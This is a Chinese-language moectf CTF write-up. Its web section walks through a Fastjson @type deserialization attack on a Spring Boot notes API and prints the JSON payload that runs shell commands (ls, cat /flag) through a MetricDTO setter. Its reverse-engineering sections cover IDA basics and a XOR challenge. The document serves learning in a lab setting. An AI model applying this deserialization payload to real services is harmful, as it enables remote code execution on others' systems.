Web

巧乐兹

RCE,SpringBoot,fastjson

这题做了好久…不过真的学到了好多东西!😋

alt text
打开是一个公告系统,先试用抓包工具进行初步的分析。
当进行保存的操作时会向 /api/v1/notes 发送 PUT 请求,发送 json 可以直接显示在页面上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PUT /api/v1/notes HTTP/1.1
Host: 127.0.0.1:62820
Content-Length: 110
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:62820
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:62820/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"title":"你跑不过我你信吗?","text":"跑得快不一定赢,不跌跟头才是成功。","id":8848}

猜测这里应该是个突破口,按照以往的经验来说是要利用这个 PUT 请求来实现 RCE。

题目给的附件是 demo.jar 还是得先稍微搞懂什么是 jar 文件的。
Java-Guide 深入了解 Jar
jar 可将多个 Java 类文件、相关资源文件以及元数据打包成一个单一的文件,方便程序的分发、部署和管理。
使用 jd-gui 来分析这个文件。
alt text 查阅资料可以知道,这里使用了 Spring Boot 来进行打包。按理来说我需要重点分析 BOOT-INF 它存放了当前项目的编译类、资源文件。
在 Apicontroller.class 文件下暴露了如下的网页路径
alt text
这里都是一些 Spring Boot 的知识,没学过这个内容特别多,不过其实逐个搜索每一行代码其实可以读懂。
@RestController、@GetMapping、@PutMapping 说是注解(注解我也不知道是个啥玩意) 注解是给框架看的标签、配置和指令,应该类似于是一种声明的效果,提示在什么情况下该执行什么。不过这里既然都直接给路径了还是直接在页面上看一下吧。
log 路径下应该是网页运行产生的日志

1
2
3
4
5
6
[2026-09-15 08:32:32] add metric: 'homeDir' [2026-09-15 08:32:32] set metric: 'homeDir'='/root' [2026-09-15 08:32:32] add metric: 'uname' [2026-09-15 08:32:32] set metric: 'uname'='Linux ret2shell-1288-21464-1789461142 6.12.94+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.94-1 (2026-06-20) x86_64 GNU/Linux ' [2026-09-15 08:32:32] add metric: 'uptime' [2026-09-15 08:32:32] set metric: 'uptime'=' 08:32:32 up 77 days, 18:25, 0 users, load average: 1.83, 1.14, 1.04 ' [2026-09-15 08:32:32] upsert note #8848 [2026-09-15 08:32:37] get notes: 1 [2026-09-15 08:33:59] get notes: 1 [2026-09-15 08:37:56] delete note #8848 [2026-09-15 08:37:56] upsert note #8848 [2026-09-15 08:37:56] get notes: 1 [2026-09-15 08:37:57] get notes: 1
```
homeDir、uname、uptime 是些 linux 的命令。
metrics 路径下似乎也看不出什么信息
```json
[{"key":"homeDir","value":"/root"},{"key":"uname","value":"Linux ret2shell-1288-21464-1789461142 6.12.94+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.94-1 \u00282026-06-20\u0029 x86_64 GNU/Linux\n"},{"key":"uptime","value":" 08:32:32 up 77 days, 18:25, 0 users, load average: 1.83, 1.14, 1.04\n"}]

还是重点看这个 PUT 的路径下在干啥吧。

1
2
3
4
5
@PutMapping({"/api/v1/notes"})
public Object putNote(@RequestBody NoteDTO note) {
this.notesService.upsertNote(note);
return note;
}

不是很看得懂,我猜应该是一个 putNote 的函数,然后 RequestBody 是收到的 json 请求转化为 NoteDTO 的对象然后命名为 note,然后再将 note 作为参数传入 uosertNote。 查看 DTO 有关的 class 发现了可以执行 cmd 命令的地方在这个 MetricDTO 类的 setValueByCommand 函数下。
alt text 这里很明显是要我们利用这个类来执行命令,最后获取 flag。那么这里的问题就是我要怎么才能使用这个 MetricDTO.class。
题目信息中还提醒了我们去查看 Fastjson 有关的漏洞。Fastjson反序列化漏洞
Fastjson反序列化漏洞原理 alt text
先看一下源代码的 Fastjsonsetup.class ParserConfig的作用及原理 fastjson 可以将 Java 对象转换为 JSON 格式(序列化),也可以将 JSON 字符串转换为 Java 对象(反序列化)。Fastjson 可以操作任何 Java 对象。

1
parserConfig.addAccept("com.example.demo.");

这个通过搜索可以得知意思是在反序列化 JSON 时,可以加载 com.example.demo. 包及其子包下的类。

ParserConfig.getGlobalInstance().addAccept 为何导致类加载风险?
那么可以构造一下 @type 的请求来利用 MetricDTO.class 进行 RCE。 alt text
先使用 ls 命令看看 RCE 是否成功。

1
{"@type":"com.example.demo.dto.MetricDTO","ValueByCommand":"ls","id":8848}

这里回显 500,在网页主页上是没有任何变化的。
再查看 /api/v1/log 路径发现命令成功被执行,显示了 app.jar 。
执行cat /flag
alt text moectf{7fa93a0e-4f8f-5c98-a4e6-ff41ba1c2387}

Reverse

Web 还有两题实在不会做,先看看 Re 吧
先看一下启蒙老师
探姬_Official-逆向部分1-7

逆向工程入门指北

这个入门的这个软件感觉好厉害,还能给我画框。
alt text
逆向题最开始的准备工作:先分析要逆向的文件的一些基本信息。可以的工具有:DIE、Exeinfo 先利用 DIE 来分析这个 chall 文件的情况: alt text
C 语言,64 位,无壳
再将文件放入 IDA 中进行静态分析。
alt text Shift + F12 可以看到字符串的信息,双击可以定位。
alt text 这里需要看懂 IDA 的逻辑,format 是 IDA 起的名字,末尾 0 表示字符串结束,DATA XREF: main + 7F 代表了main 函数引用它,同时也相当于一个地址。 再使用快捷键 X 可以查看交叉引用。 alt text
这里要看懂的话需要一点汇编知识,不过点击 F5 可以先查看C语言风格的伪代码先。
alt text
这样就好理解很多,这里可以通过颜色来区分一下代码的组成部分。似乎变量啥的用的是蓝色,原来自带的函数用的是黄颜色。
moectf{C0ngr4tuLati0N_On_find1n9_your_1st_RE_f1aggggg!!!}

bbxor

题目同样就给了个 chall 需要我对其进行逆向分析。
alt text
没壳,C语言,64位。丢入 IDA 中分析 main 函数。
alt text
这里可以看出是一个 Xor 类型的加密。 定位这个 cipher 得到密文 alt text

1
2
3
0Bh, 9, 3, 5, 12h, 0, 1Dh, 24h, 52h, 15h, 0Fh, 5, 39h
1Eh, 56h, 14h, 39h, 5, 0Eh, 7, 57h, 0Ah, 3, 8, 1, 3
39h, 15h, 9, 0Ah, 10h, 3, 2, 2 dup(47h), 1Bh

使用赛博厨子来进行 Xor 转化。 alt text
moectf{B4sic_x0r_cha1lenge_solved!!}